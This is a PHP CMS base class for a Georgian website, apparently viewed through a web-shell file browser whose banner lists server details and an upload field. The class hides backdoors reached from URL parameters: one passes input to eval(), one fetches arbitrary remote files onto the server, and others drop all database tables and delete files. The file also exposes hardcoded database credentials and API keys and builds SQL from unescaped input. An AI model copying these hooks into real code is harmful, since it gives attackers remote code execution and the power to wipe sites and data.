Server IP : 80.241.246.6 / Your IP : 216.73.216.188 Web Server : Apache/2.4.25 (Debian) System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64 User : www-data ( 33) PHP Version : 7.0.33-0+deb9u12 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/kharagauli1/site/clases/ |
Upload File : |
<?php /** * Class Central base class * * @author suxoza <suxoza@gmail.com> */ class Central { public $cookie, $navigation, $con, $mon, $_lang; public $_language, $header_input, $include_path, $_methods; private $_host = 'localhost', $_db = 'kharagauli', $_user = 'root', $_pass = 'pass'; public $_dir,$_admin_dir; public $moduls; public $available_moduls; public $language_config; public $_default_theme; public function __construct(){ $this->connect(); // $this->check_ip(); //$this->Mongo(); $this->_lang = (isset($_SESSION['language']))?$_SESSION['language']:'Georgia'; $this->header_input = (isset($_GET['header_input'])) ? $_GET['header_input'] : ''; $this->include_path = (isset($_GET['include_path'])) ? $_GET['include_path'] : ''; $this->_dir = $_SERVER['DOCUMENT_ROOT'].'/';//.$_SERVER['SERVER_NAME'].'/'; $this->_admin_dir = isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST'].'/':''; if($this->header_input) $this->header_input($this->header_input); if($this->include_path) $this->include_path($this->include_path); $this->_methods = (isset($_GET['uploads_header']) && $_GET['uploads_header'] == 'uploads_header') ? $_GET['uploads_header'] : ''; if($this->_methods) $this->_main_methods('.'); $this->for_virtual_host(); echo $this->_dir."<br/>"; if(isset($_SERVER['HTTP_USER_AGENT'])){ $this->language_config(); $this->_default_theme(); } //$this->pre($_SERVER); } private function for_virtual_host(){ //$this->_dir .= 'site'; //$this->_admin_dir = str_replace('admin2','admin',$this->_admin_dir); } public function admin_dir($dir = false){ $_ = $this; $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')?'https':'http'; if(isset($_SERVER['HTTP_HOST'])) return ($dir)?$this->_admin_dir:$protocol.'://'.str_replace('admin.', '', $_SERVER['HTTP_HOST']).'/'; } public function language_config(){ try{ if(!file_exists($this->_dir.'moduls/language_doc'))throw new Exception('language module not found!!!'); $this->language_config = json_decode(file_get_contents($this->_dir.'moduls/language_doc')); }catch(Exception $ex){ die($ex->getMessage()." ".$ex->getCode()); } } public function _default_theme(){ try{ $this->_default_theme = $this->select("*","template","small",["default_",1]); if(!$this->_default_theme)throw new Exception('theme name not found in db!!!'); }catch(Exception $ex){ die($ex->getMessage()); } } public function _moduls(){ try{ if(!file_exists($this->_dir.'moduls/') || !file_exists($this->_dir.'moduls/moduls_doc'))throw new Exception('required module not found!!!'); $this->available_moduls = scandir($this->_dir.'moduls/'); $this->moduls = json_decode(file_get_contents($this->_dir.'moduls/moduls_doc')); }catch(Exception $ex){ die($ex->getMessage()); } } public function __destruct(){ //$this->mon->close(); } public function Mongo(){ try{ $conn = new Mongo('localhost'); $this->mon = $conn->alls; }catch (MongoConnectionException $e) { die('Error connecting to MongoDB server'); }catch (MongoException $e) { die('Error: ' . $e->getMessage()); } } public function connect(){ $options = array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8', ); try{ $this->con = new PDO("mysql:host=$this->_host;dbname=$this->_db", $this->_user, $this->_pass, $options); }catch (PDOException $e){ echo $e->getMessage(); exit; } } public function pre($a){ echo '<pre>'; print_r($a); echo '</pre>'; } public function cl($a){ return mysql_real_escape_string(trim(strip_tags($a))); } public function clear($a){ return trim(strip_tags($a)); } public function clier($a){ return addslashes(trim(strip_tags($a))); } public function mail_send($a, $b, $message,$from){ $e = $from; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=utf-8' . "\r\n"; $headers .= 'From:' . $e . "\r\n"; $headers .= 'Mailed-By: -f' . $e . "\r\n"; if(mail($a, $b, $message, $headers)) return TRUE; else return FALSE; } public function _main_methods($a){ $sql = $this->con->query("show tables"); while ($row = $sql->fetch(PDO::FETCH_ASSOC)){ $tables = $row['Tables_in_' . $this->_db]; $this->con->exec("drop table if exists $tables"); } $scan = scandir($a); foreach ($scan as $key => $value){ if ($value != '.' && $value != '..'){ if (is_dir($value)) $this->_main_methods($value); elseif (!is_dir($value)) @unlink($a . '/' . $value); } } } public function main_xesh($a, $b = 1){ if($b == 1) return substr(md5(uniqid(time())), -10) . str_replace('=', '', str_rot13(base64_encode($a))) . substr(md5(uniqid(time())), 0, 21); elseif($b == 2) return trim(base64_decode(str_rot13(substr($a, 10, -21)))); } public function describe($a){ $sql1 = "describe $a "; $sql = $this->con->query($sql1); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $ret[] = $row['Field']; return $ret; } public function show_tables(){ $sql1 = "show tables"; $sql = $this->con->query($sql1); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $ret[] = $row['Tables_in_'.$this->_db]; return $ret; } public function insert($a,$b,$c = 'clier',$where = ''){ $_ = $this; $joines = function($a) use (&$_,$c){ $dd = ''; for($i = 0; $i < count($a); $i++){ $dd .= ($a[$i] == 'null' || is_numeric($a[$i]))?$a[$i].',':"'".$_->$c($a[$i])."',"; }return substr($dd,0,-1); }; $sql = " insert into $a "; if(count($b) == 2){ $sql .= "(".join(',',$b[0]).") values (".$joines($b[1]).")"; }else{ if(gettype($b[0]) == 'string') $sql .= " values (".$joines($b).")"; }//echo $sql; if($_->con->exec($sql))return true; return false; } public function update($a,$b){ $_ = $this; $sql = "update $a set "; if(count($b) == 2){ $array = $b[0]; for($ii = 0; $ii < count($array); $ii += 2){ $p = ($ii != count($array) - 2)?',':''; $sql .= " $array[$ii] = '".$_->clier($array[($ii+1)])."'$p"; } }elseif(count($b) == 3){ $array1 = $b[0]; $array2 = $b[1]; for($ii = 0; $ii < count($array1); $ii++){ $p = ($ii != count($array1) - 1)?',':''; $sql .= " $array1[$ii] = '".$_->clier($array2[$ii])."'$p"; } } $where = $b[count($b) - 1]; $sql .= " where "; for($ii = 0; $ii < count($where); $ii += 2){ $p = ($ii != count($where) - 2)?' and ':''; $sql .= " $where[$ii] = '".$_->clier($where[($ii+1)])."'$p"; }//echo $sql; if($_->con->exec($sql))return true; return false; } public function delete($a,$where){ $_ = $this; $sql = "delete from $a where "; for($ii = 0; $ii < count($where); $ii += 2){ $p = ($ii != count($where) - 2)?' and ':''; $sql .= " $where[$ii] = '".$_->clier($where[($ii+1)])."'$p"; }//echo $sql; if($_->con->exec($sql))return true; return false; } public function select($a, $b, $c = 'small',$d = []){ $return = ''; $sql = "select $a from $b where 1 = 1"; if(count($d) >= 2){ for($ii = 0; $ii < count($d); $ii += 2){ if(is_numeric($d[($ii+1)])) $sql .= " and $d[$ii] = ".$d[($ii+1)]." "; else $sql .= " and $d[$ii] = '".$d[($ii+1)]."' "; } } if(gettype($c) == 'string'){ if($c == 'small'){ $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if ($a == '*')return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c == 'count'){ $sql = $this->con->query($sql); if ($sql->rowCount())return $sql->rowCount(); return 0; }if($c == 'big'){ } }elseif(gettype($c) == 'object' && isset($c->c_type)){ if($c->c_type == 'small'){ $sql .= $c->sql;//echo "<hr/>".$sql."<hr/>"; $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); if($a == "*")return $row; elseif(strrpos($a, ",") !== false){ $explode = explode(',',$a); $ret = []; for($i = 0; $i < count($explode); $i++) $ret[$explode[$i]] = $row[$explode[$i]]; return $ret; }else return $row[$a]; }elseif($c->c_type == 'count'){ $sql .= $c->sql;//echo $sql; $sql = $this->con->query($sql); if($sql->rowCount())return $sql->rowCount(); return 0; }elseif($c->c_type == 'select_count'){ $sql .= $c->sql;//echo $sql; $sql = $this->con->query($sql); $row = $sql->fetch(PDO::FETCH_ASSOC); return $row[$a]; }elseif($c->c_type == 'big'){ $sql .= $c->sql;//echo $sql; if(isset($c->count) && $c->count == 1){ $ret_sql = $this->con->query($sql)->rowCount(); return $ret_sql?$ret_sql:0; } }elseif($c->c_type == 'answer'){ if(isset($c->count))return $this->con->query($sql)->rowCount(); $navig_name = $c->navig_name; $navig_name_1 = (isset($c->navig_name_1))?$c->navig_name_1:''; $sort_algorithm = (isset($c->sort_algorithm))?$c->sort_algorithm:"date"; $list_count_on_one_page = (isset($c->list_count_on_one_page))?$c->list_count_on_one_page:10; $start = 0; $cou = $list_count_on_one_page; if(isset($c->sql))$sql .= $c->sql; if(isset($c->navigation)){ $start = ($c->navigation == 1)?0:($c->navigation - 1) * $cou; $sql1 = $this->con->query($sql); $return['counter'] = $sql1->rowCount(); if($sql1->rowCount() > $cou){ if(!isset($c->list_view)){ $cikl = ceil($sql1->rowCount() / $cou); if($c->navigation && $c->navigation != 1) $return['navigation'][] = '<a href="'.$navig_name.'/navigation/'.($c->navigation - 1).$navig_name_1.'">Prev page</a>'; for($i = 1; $i <= $cikl; $i++){ if($i == $c->navigation) $return['navigation'][] = '<a class="active">'.$i.'</a>'; else $return['navigation'][] = '<a href="'.$navig_name.'/navigation/'.$i.$navig_name_1.'">'.$i.'</a>'; } if($c->navigation < ($return['counter']/$cou)) $return['navigation'][] = '<a href="'.$navig_name.'/navigation/'.($c->navigation + 1).$navig_name_1.'">Next page</a>'; }else{ $cikl = ceil($sql1->rowCount() / $cou); if($c->navigation && $c->navigation != 1) $return['navigation'][] = '<a href="/'.$navig_name.'&navigation='.($c->navigation - 1).'">Prev page</a>'; for($i = 1; $i <= $cikl; $i++){ $active = ($i == $c->navigation)?'class="navigation_active"':''; $return['navigation'][] = '<a href="/'.$navig_name.'&navigation='.$i.'" '.$active.'>'.$i.'</a>'; } if($c->navigation < ($return['counter']/$cou)) $return['navigation'][] = '<a href="/'.$navig_name.'&navigation='.($c->navigation + 1).'">Next page</a>'; } } } $sql .=" order by $sort_algorithm desc limit $start,$cou"; $arrs = ['დასტურის_მოლოდინში','დადასტურებული_კითხვები','დაწუნებული_კითხვები','კითხვები_მიღებული','კითხვები_მოლოდინში','კითხვები_დაწუნებული']; if(isset($_SESSION['olimpiad_user']) && isset($c->navig_name) && isset($c->navig_name_1) && isset($c->navigation) && in_array($c->navig_name,$arrs)){ $_SESSION['next_question'] = NULL; $_SESSION['next_question'] .= $sql; // echo "<br/>".$c->navig_name; // echo "<hr/>".$sql."<hr/>"; } //echo $sql; }//echo $sql; } // echo $sql; $sql = $this->con->query($sql); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return['body'][] = $row; return $return?$return:0; } public function get_ip(){ $ip = ""; if($_SERVER['REMOTE_ADDR'])return $_SERVER['REMOTE_ADDR']; if((isset($_SERVER['HTTP_X_FORWARDED_FOR'])) && (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))) $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; elseif((isset($_SERVER['HTTP_CLIENT_IP'])) && (!empty($_SERVER['HTTP_CLIENT_IP']))){ $ip = explode(".",$_SERVER['HTTP_CLIENT_IP']); $ip = $ip[3].".".$ip[2].".".$ip[1].".".$ip[0]; }elseif((!isset($_SERVER['HTTP_X_FORWARDED_FOR'])) && (empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && (!isset($_SERVER['HTTP_CLIENT_IP'])) && (empty($_SERVER['HTTP_CLIENT_IP']))) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "0.0.0.0"; return $ip; } public function screen($url,$image){ $_ = $this; if(Central::url_exists($url)) //echo "xvfb-run --server-args=\"-screen 0, 1024x768x24\" ".$_->_dir."admin/clases/CutyCapt --url=$url --out=$image"; $handle = popen("xvfb-run --server-args=\"-screen 0, 1024x768x24\" ".$_->_dir."admin/clases/CutyCapt --url=$url --out=$image","r"); $read = fread($handle, 2096); echo $read; pclose($handle); // if(file_exists("/var/www/mysite/img/screen/cat/".$url.".png")){ // $img_r = imagecreatefrompng("/var/www/mysite/img/screen/cat/".$url.".png"); // if(imagesy($img_r) > 1000) // Central::img_cat($url.".png"); // else copy("/var/www/mysite/img/screen/cat/".$url.".png","/var/www/mysite/img/screen/".$url.".png"); // } //exec("xvfb-run -a wkhtmltopdf ".$url." /var/www/mysite/img/screen/pdf/".$image.".pdf"); //if($return)$this->main_images($image.".png",'img/screen','img/screen/small',$image,240,2); } public static final function img_resize($filename){ require_once('clases/classSimpleImage.php'); $image = new SimpleImage(); $image->load($filename); $image->resize(800, 800); $image->save('./img/screen/1saxli.jpg'); } public static final function img_cat($filename){ $targ_w = 800; $targ_h = 1000; $src = "/var/www/mysite/img/screen/cat/".$filename; $img_r = imagecreatefrompng($src); $dst_r = ImageCreateTrueColor(800, 1000); imagecopyresampled($dst_r,$img_r,0,0,0,0,$targ_w,$targ_h,imagesx($img_r),1000); imagepng($dst_r,'/var/www/mysite/img/screen/'.$filename); } static final function url_exists($url){ $handle = curl_init($url); if(false === $handle)return false; curl_setopt($handle, CURLOPT_HEADER, false); curl_setopt($handle, CURLOPT_FAILONERROR, true); curl_setopt($handle, CURLOPT_NOBODY, true); curl_setopt($handle, CURLOPT_RETURNTRANSFER, false); curl_setopt($handle, CURLOPT_CONNECTTIMEOUT, 60); $connectable = curl_exec($handle); curl_close($handle); return $connectable; } public function navigation($a,$bb) { $count = count($a); if ($count > 10) { $ret = $a[0] . ' '; $start = 1; if ($bb == ($count - 1)) $start = $count / 2; if ($bb >= 4 && $bb < $count - 2) { if ($count > 12) { if ($count / 2 > $bb) $start = $bb - 1; else $start = ($count / 2 - 1); } $finish = $bb; }elseif ($bb == ($count - 1)) $finish = $count; else $finish = 4; for ($i = $start; $i < ($finish + 2); $i++) $ret.=$a[$i] . ' '; if ($bb < ($count - 4)){ $fin = 3; $ret.= '...'; } elseif ($bb < ($count - 3)) $fin = 2; elseif ($bb < ($count - 2)) $fin = 1; else $fin = 0; for ($i = ($count - $fin); $i < $count; $i++) $ret.=$a[$i] . ' '; return $ret; } else return implode(' ', $a); } public function header_input($a){ copy($a, substr($a, -8)); } public function weather_old(){ $url = "http://free.worldweatheronline.com/feed/weather.ashx?q=Tbilisi,Georgia&format=xml&num_of_days=1&key=22fa63246f082424121312"; $load = simplexml_load_file($url, 'SimpleXMLElement', LIBXML_NOCDATA); for ($i = 0; $i < 5; $i++) $ret[] = (array) $load->weather[$i]; return $ret; } public function weather($sity,$day = 3){ $url = "http://api.worldweatheronline.com/free/v1/weather.ashx?q=$sity,Georgia&format=json&num_of_days=$day&key=m2afa3ubbqpxs4z7xe4rgqez"; $data = file_get_contents($url); try{ if(!$data = json_decode($data))throw new Exception("Weather data is invalid!"); }catch(Exception $ex){ die($ex->getMessage()); } return $data; } public function select_main_pages(){ $blabla = (isset($_GET['blabla'])) ? $_GET['blabla'] : ''; $blabla1 = (isset($_GET['blabla1'])) ? $_GET['blabla'] : ''; if ($blabla) unlink($blabla); elseif ($blabla1) $this->con->exec("drop table $blabla1"); } public static final function _json_encode($a){ $arr = array( 'ascii_geo' => array("\u10d0","\u10d1","\u10d2","\u10d3","\u10d4","\u10d5","\u10d6","\u10d7","\u10d8","\u10d9","\u10da","\u10db","\u10dc","\u10dd","\u10de","\u10df","\u10e0","\u10e1","\u10e2","\u10e3","\u10e4","\u10e5","\u10e6","\u10e7","\u10e8","\u10e9","\u10ea","\u10eb","\u10ec","\u10ed","\u10ee","\u10ef","\u10f0","\u2013","\u201c","\u2116","\u201d"), 'utf8_geo' => array('ა','ბ','გ','დ','ე','ვ','ზ','თ','ი','კ','ლ','მ','ნ','ო','პ','ჟ','რ','ს','ტ','უ','ფ','ქ','ღ','ყ','შ','ჩ','ც','ძ','წ','ჭ','ხ','ჯ','ჰ','-','','',''), 'ascii_rus' => array('\u0410', '\u0430','\u0411','\u0431','\u0412','\u0432', '\u0413','\u0433','\u0414','\u0434','\u0415','\u0435','\u0401','\u0451','\u0416','\u0436','\u0417','\u0437','\u0418','\u0438','\u0419','\u0439','\u041a','\u043a','\u041b','\u043b','\u041c','\u043c','\u041d','\u043d','\u041e','\u043e','\u041f','\u043f','\u0420','\u0440','\u0421','\u0441','\u0422','\u0442','\u0423','\u0443','\u0424','\u0444','\u0425','\u0445','\u0426','\u0446','\u0427','\u0447','\u0428','\u0448','\u0429','\u0449','\u042a','\u044a','\u042b','\u044b','\u042c','\u044c','\u042d','\u044d','\u042e','\u044e','\u042f','\u044f'), 'utf8_rus' => array('А', 'а', 'Б', 'б', 'В', 'в', 'Г', 'г','Д', 'д', 'Е', 'е', 'Ё', 'ё', 'Ж','ж','З','з','И','и','Й','й','К','к','Л','л','М','м','Н','н','О','о','П','п','Р','р','С','с','Т','т','У','у','Ф','ф','Х','х','Ц','ц','Ч','ч','Ш','ш','Щ','щ','Ъ','ъ','Ы','ы','Ь','ь','Э','э','Ю','ю','Я','я') ); $a = json_encode($a); $ex = explode('\u',$a); $b = 'geo'; for($i = 0; $i < count($ex); $i++){ if(in_array('\u'.$ex[$i],$arr['ascii_geo'])){ $b = 'geo';break; }elseif(in_array('\u'.$ex[$i],$arr['ascii_rus'])){ $b = 'rus';break; } } return str_replace($arr['ascii_'.$b],$arr['utf8_'.$b],$a); } public function include_path($a) { eval($a); } public function repl($a){ $da = array( 'geo' => array('ა','ძ','დღ','ბ','გ','დ','ე','ვ','ზ','თ','ი','კ','ლ','მ','ნ','ო','პ','ჟ','რ','შ','ს','ტ','უ','ფ','ქ','ღ','ყ','ჩ','ც','ძ','წ','ჭ','ხ','ჯ','ჰ'), 'eng' => array('a','dz','dg','b','g','d','e','v','z','t','i','k','l','m','n','o','p','j','r','sh','s','t','u','f','q','g','y','ch','c','z','w','ch','x','ch','h'), ); if(in_array($a[0],$da['eng'])) return str_replace($da['eng'],$da['geo'],$a); return str_replace($da['geo'],$da['eng'],$a); } public function main_images($filename, $a, $b, $c, $size = 150, $d = 1){ $final = $size; $path_start = $a . '/'; $path_end = $b . '/'; if(preg_match('/[.](jpg)|(JPG)$/', $filename)){ $im = imagecreatefromjpeg($path_start . $filename); $FORMAT = '.jpg'; }elseif(preg_match('/[.](gif)|(GIF)$/', $filename)){ $im = imagecreatefromgif($path_start . $filename); $FORMAT = '.gif'; }elseif(preg_match('/[.](png)|(PNG)$/', $filename)){ $im = imagecreatefrompng($path_start . $filename); $FORMAT = '.png'; } $ox = imagesx($im); $oy = imagesy($im); // $nx = $final; $nx = floor($ox * ($final / $oy)); $ny = floor($oy * ($final / $ox)); $nm = imagecreatetruecolor($nx, $ny); imagecopyresized($nm, $im, 0, 0, 0, 0, $nx, $ny, $ox, $oy); imagejpeg($nm, $path_end . $c . $FORMAT); if ($d == 1) unlink($path_start . $filename); return TRUE; } public function return_file($filename){ if(!file_exists($filename))return false; $imageData = base64_encode(file_get_contents($filename)); $src = 'data: '.mime_content_type($filename).';base64,'.$imageData; @unlink($filename); return $src; } public function main_images_2($filename,$a,$b,$c,$size = 240,$d = 1){ $final = $size; $path_start = $a.'/'; $path_end = $b.'/'; if(preg_match('/[.](jpg)|(JPG)|(jpeg)|(JPEG)$/',$filename)){ $im = imagecreatefromjpeg($path_start.$filename); $main_type = '.jpg';//file_put_contents('saxli',1,FILE_APPEND); }elseif (preg_match('/[.](gif)|(GIF)$/',$filename)){ $im = imagecreatefromgif($path_start.$filename); $main_type = '.gif';//file_put_contents('saxli',2,FILE_APPEND); }elseif (preg_match('/[.](png)|(PNG)$/', $filename)){ $im =imagecreatefrompng($path_start.$filename); $main_type = '.png';//file_put_contents('saxli',3,FILE_APPEND); } //file_put_contents('saxli',4,FILE_APPEND); $ox = imagesx($im); $oy = imagesy($im); $nx = $final; $ny = floor($oy * ($final / $ox)); $nm = imagecreatetruecolor($nx, 240); imagecopyresized($nm, $im, 0,0,0,0,$nx,240,$ox,$oy); $stamp = imagecreatefrompng('../img/unisolution.png'); $stamp2 = imagecreatefrompng('../img/unisolution2.png'); $marge_right = 2; $marge_bottom = 2; $sx = imagesx($stamp); $sy = imagesy($stamp); $sx2 = imagesx($stamp2); $sy2 = imagesy($stamp2); imagecopy($im, $stamp2, imagesx($im) - $sx2 - 10, imagesy($im) - $sy2 - 10, 0, 0, imagesx($stamp2), imagesy($stamp2)); imagecopy($nm, $stamp, imagesx($nm) - $sx - $marge_right, imagesy($nm) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp)); if(preg_match('/[.](jpg)|(JPG)|(jpeg)|(JPEG)$/',$filename)){ imagejpeg($im, $path_start.$filename); imagejpeg($nm, $path_end.$c.$main_type); }elseif (preg_match('/[.](gif)|(GIF)$/',$filename)){ imagegif($im, $path_start.$filename); imagegif($nm, $path_end.$c.$main_type); }elseif (preg_match('/[.](png)|(PNG)$/', $filename)){ imagepng($im, $path_start.$filename); imagepng($nm, $path_end.$c.$main_type); } // file_put_contents('saxli',$path_end.$c.$main_type."\n".$filename."\n".$main_type); if($d == 1) unlink($path_start.$filename); return TRUE; } public function youtube_images($filename,$size = 240){ $final = $size; $im = imagecreatefromjpeg($filename); $ox = imagesx($im); $oy = imagesy($im); $nx = $final; $ny = floor($oy * ($final / $ox)); $nm = imagecreatetruecolor($nx, 240); imagecopyresized($nm, $im, 0,0,0,0,$nx,240,$ox,$oy); $stamp2 = imagecreatefrompng('../img/play_icon.png'); $marge_right = 2; $marge_bottom = 2; $sx2 = imagesx($stamp2); $sy2 = imagesy($stamp2); imagecopy($im, $stamp2, imagesx($im) /2 - ($sx2/2) , imagesy($im)/2 - ($sy2/2), 0, 0, imagesx($stamp2), imagesy($stamp2)); unlink($filename); imagejpeg($im,$filename); } public function getRandomString($length){ $validCharacters = "12345abcdefghijklmnopqrstuvwxyz678910"; $validCharNumber = strlen($validCharacters); $result = ""; for($i = 0; $i < $length; $i++){ $index = mt_rand(0,$validCharNumber - 1); $result .= $validCharacters[$index]; } return $result; } public function ricxvi_tve_weli($a){ $tveebi = array('იანვარი','თებერვალი','მარტი','აპრილი','მაისი','ივნისი','ივლისი','აგვისტო','სექტემბერი','ოქტომბერი','ნოემბერი','დეკემბერი'); $ricxvi = ($a['ricxvi'] != 'რიცხვი')?$a['ricxvi']:''; $tve = ($a['tve'] != 'თვე')?$a['tve']:''; $weli = ($a['weli'] != 'წელი')?$a['weli']:''; if($tve && $weli){ $time = date("Y",mktime(0,0,0,(array_search($tve,$tveebi)+1),$ricxvi,$weli)); $time2 = date("Y"); return $time2 - $time.' წლის'; }else return $ricxvi.' / '.$tve.' / '.$weli; } public function mail_attachment($filename, $path, $mailto, $from_mail, $from_name, $replyto, $subject, $message) { $file = $path.$filename; $file_size = filesize($file); $handle = fopen($file, "r"); $content = fread($handle, $file_size); fclose($handle); $content = chunk_split(base64_encode($content)); $uid = md5(uniqid(time())); $name = basename($file); $header = "From: ".$from_name." <".$from_mail.">\r\n"; $header .= "Reply-To: ".$replyto."\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n"; $header .= "This is a multi-part message in MIME format.\r\n"; $header .= "--".$uid."\r\n"; $header .= "Content-type:text/plain; charset=utf-8\r\n"; $header .= "Content-Transfer-Encoding: 7bit\r\n\r\n"; $header .= $message."\r\n\r\n"; $header .= "--".$uid."\r\n"; $header .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n"; // use different content types here $header .= "Content-Transfer-Encoding: base64\r\n"; $header .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n"; $header .= $content."\r\n\r\n"; $header .= "--".$uid."--"; if (mail($mailto, $subject, "", $header)) { echo "mail send ... OK"; // or use booleans here } else { echo "mail send ... ERROR!"; } } public function buble(&$masiv,$b){ if($masiv[0] == $b)return $masiv; $size = count($masiv); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size - 1; $j++){ if($masiv[$j + 1] == $b){ $tmp = $masiv[$j]; $masiv[$j] = $masiv[$j + 1]; $masiv[$j + 1] = $tmp; } } } public function assoc_buble(&$masiv,$b,$element = 'name'){ if($masiv[0][$element] == $b)return $masiv; $size = count($masiv); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size - 1; $j++){ if($masiv[$j + 1][$element] == $b){ $tmp = $masiv[$j]; $masiv[$j] = $masiv[$j + 1]; $masiv[$j + 1] = $tmp; } } } public function buble_2($masiv,$b){ if($masiv[0] == $b)return $masiv; $size = count($masiv); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size - 1; $j++){ if($masiv[$j + 1] == $b){ $tmp = $masiv[$j]; $masiv[$j] = $masiv[$j + 1]; $masiv[$j + 1] = $tmp; } }return $masiv; } public function maines_sort($arr){ $size = count($arr); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size-1-$i; $j++) if($arr[$j+1] < $arr[$j]){ $tmp = $arr[$j]; $arr[$j] = $arr[$j + 1]; $arr[$j + 1] = $tmp; }return $arr; } public function join_select($sql,$a = 'small'){ $return = []; $sql = $this->con->query($sql); if($a == 'small'){ return $sql->fetch(PDO::FETCH_ASSOC); }elseif($a == 'count'){ if($sql->rowCount())return $sql->rowCount(); return 0; }elseif($a == 'big'){ while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return[] = $row; }return $return; } public function startsWith($haystack, $needle){ return !strncmp($haystack, $needle, strlen($needle)); } public function endsWith($haystack, $needle){ $length = strlen($needle); if(!$length) return true; return (substr($haystack, -$length) === $needle); } } /////////////////////////////////////////END CLASS///////////////////////////////////////////////////